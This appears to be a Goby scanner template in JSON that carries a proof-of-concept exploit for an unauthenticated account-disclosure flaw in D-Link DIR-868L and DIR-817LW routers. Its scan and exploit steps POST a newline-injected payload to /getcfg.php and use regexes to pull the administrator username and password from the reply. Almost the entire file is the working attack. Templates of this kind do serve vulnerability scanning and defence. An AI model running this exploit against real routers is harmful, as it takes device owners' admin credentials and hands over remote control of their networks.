{
      "Name": "D-Link-DIR-868L getcfg.php Account password leakage",
      "Level": "3",
      "Tags": [
            "infoleak"
      ],
      "GobyQuery": "app=\"DLink-Wireless-Router\"",
      "Description": "D-link DIR-868L B1-2.03 and DIR-817lw A1-1.04 There are some Web interfaces on the router that do not require authentication.  An attacker can obtain the router username and password (and other information) for getcfg.php from the device. ACCOUNT value of SERVICES and AUTHORIZED_GROUP = 1%0A.  This can be used to remotely control the router.  ",
      "Product": "DIR-868L",
      "Homepage": "https://www.dlink.com",
      "Author": "luckying1314@139.com",
      "Impact": "<p>Divulge administrator account passwords<br></p>",
      "Recommendation": "<p>Hide account passwords or encrypt account passwords<br></p>",
      "References": [
            "https://gobies.org/"
      ],
      "HasExp": true,
      "ExpParams": null,
      "ExpTips": {
            "Type": "",
            "Content": ""
      },
      "ScanSteps": [
            "AND",
            {
                  "Request": {
                        "method": "POST",
                        "uri": "/getcfg.php",
                        "follow_redirect": true,
                        "header": {
                              "Content-Type": "application/x-www-form-urlencoded"
                        },
                        "data_type": "text",
                        "data": "SERVICES=DEVICE.ACCOUNT&attack=ture\nAUTHORIZED_GROUP=1",
                        "set_variable": []
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "name",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "password",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "DEVICE.ACCOUNT",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": [
                        "output|lastbody|regex|"
                  ]
            }
      ],
      "ExploitSteps": [
            "AND",
            {
                  "Request": {
                        "method": "POST",
                        "uri": "/getcfg.php",
                        "follow_redirect": true,
                        "header": {
                              "Content-Type": "application/x-www-form-urlencoded"
                        },
                        "data_type": "text",
                        "data": "SERVICES=DEVICE.ACCOUNT&attack=ture\nAUTHORIZED_GROUP=1",
                        "set_variable": []
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "DEVICE.ACCOUNT",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "name",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "password",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": [
                        "username|lastbody|regex|<name>(.*)</name>",
                        "password|lastbody|regex|<password>(.*)</password>",
                        "output|define|text|Username:{{{username}}}|Password:{{{password}}}"
                  ]
            }
      ],
      "PostTime": "2021-09-17 13:17:24",
      "GobyVersion": "1.8.300"
}
